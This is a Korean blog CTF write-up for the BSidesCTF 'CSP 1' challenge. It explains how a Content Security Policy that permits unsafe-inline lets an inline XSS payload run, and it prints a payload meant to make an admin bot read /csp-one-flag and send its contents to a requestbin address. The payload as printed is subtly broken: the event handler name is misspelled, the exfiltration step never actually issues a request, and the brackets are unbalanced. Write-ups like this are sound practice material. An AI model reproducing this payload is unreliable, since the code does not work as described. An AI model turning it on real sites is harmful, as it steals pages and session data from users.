CTF/웹해킹

[BSidesCTF] CSP 1 - 웹해킹 / XSS

SecurityMan 2023. 4. 24. 11:00

 

예전에 풀었던 문제인데

 

캡쳐를 제대로 해놓지 않아서 풀이가 조금 미흡하다.

 

반응형

 

문제 제목과 내용에서 알 수 있듯이

 

CSP 를 우회하여 XSS 를 해야하는 문제이다.

 

CSP 는 Contents Security Policy 의 약자로 XSS 취약점을 완화하기 위해 사용된다.

 

XSS 로 인해 임의의 스크립트가 실행되지 않도록 제약을 거는 것이다.

 

플래그 경로는 /csp-one-flag 라고 한다.

 

 

문제 페이지에 접속하면 이렇게 나온다.

 

Enter your payload 부분에 페이로드를 입력해

 

공격을 성공시키면 된다.

 

SUBMIT 을 누르면

 

페이로드가 admin 에게 전송되어 admin 이 읽게 된다.

 

 

F12를 눌러 개발자도구의 네트워크 탭으로

 

Response Header 를 확인해보니

 

CSP 가 위와 같이 설정되어 있다.

 

unsafe-inline 이 허용되는 정책이라

 

<img src=x onerror=alert(1)> 같은 페이로드가 먹히게 된다.

 

그럼 이제 alert(1) 부분을 적당한 자바스크립트로 바꿔주면 된다.

 

<img src=x onerrer='fetch("/csp-one-flag").then(x=>x.text()).then(t=>"requestbin 주소?x="+t))'/>

 

라고 페이로드를 입력해주면

 

페이로드를 전달받은 admin 이

 

/csp-one-flag 경로에 접속해 해당 페이지의 text() 를 가져온 다음

 

requestbin 으로 x 파라미터에 담아 전달하게 된다.

반응형